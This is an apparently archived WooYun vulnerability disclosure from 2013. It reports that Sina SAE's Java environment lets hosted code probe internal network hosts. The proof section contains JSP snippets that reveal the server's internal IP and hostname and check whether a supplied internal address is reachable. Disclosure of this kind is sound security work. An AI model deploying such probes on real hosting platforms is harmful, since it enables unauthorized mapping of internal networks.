WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-041694

漏洞标题：新浪sae的java版本一处权限不严可扫内网

相关厂商：新浪

漏洞作者： lupin

提交时间：2013-11-02 01:31

修复时间：2013-12-17 01:32

公开时间：2013-12-17 01:32

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：11

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2013-11-02： 细节已通知厂商并且等待厂商处理中
2013-11-04： 厂商已经确认，细节仅向厂商公开
2013-11-14： 细节向核心白帽子及相关领域专家公开
2013-11-24： 细节向普通白帽子公开
2013-12-04： 细节向实习白帽子公开
2013-12-17： 细节向公众公开

简要描述：

新浪sae权限不严格，导致可以探测内网其他主机的存活状态。

详细说明：

漏洞证明：

<%@ page language="java" import="java.net.*" pageEncoding="ISO-8859-1"%>
<%=java.net.InetAddress.getLocalHost().getHostAddress()%><br/>
<%=java.net.InetAddress.getLocalHost().getHostName()%>

<%@ page language="java" import="java.net.*" pageEncoding="ISO-8859-1"%>
<%
	String str = request.getParameter("ip");
    String[] ipStr = str.split("\\.");
    byte[] ipBuf = new byte[4];
    for(int i = 0; i < 4; i++){
        ipBuf[i] = (byte)(Integer.parseInt(ipStr[i])&0xff);
    }
    InetAddress ia = InetAddress.getByAddress(ipBuf);
    boolean reachable = ia.isReachable(50000);
    out.println(ia.getHostName() + ":" + reachable);
%>

修复方案：

版权声明：转载请注明来源 lupin@乌云

漏洞回应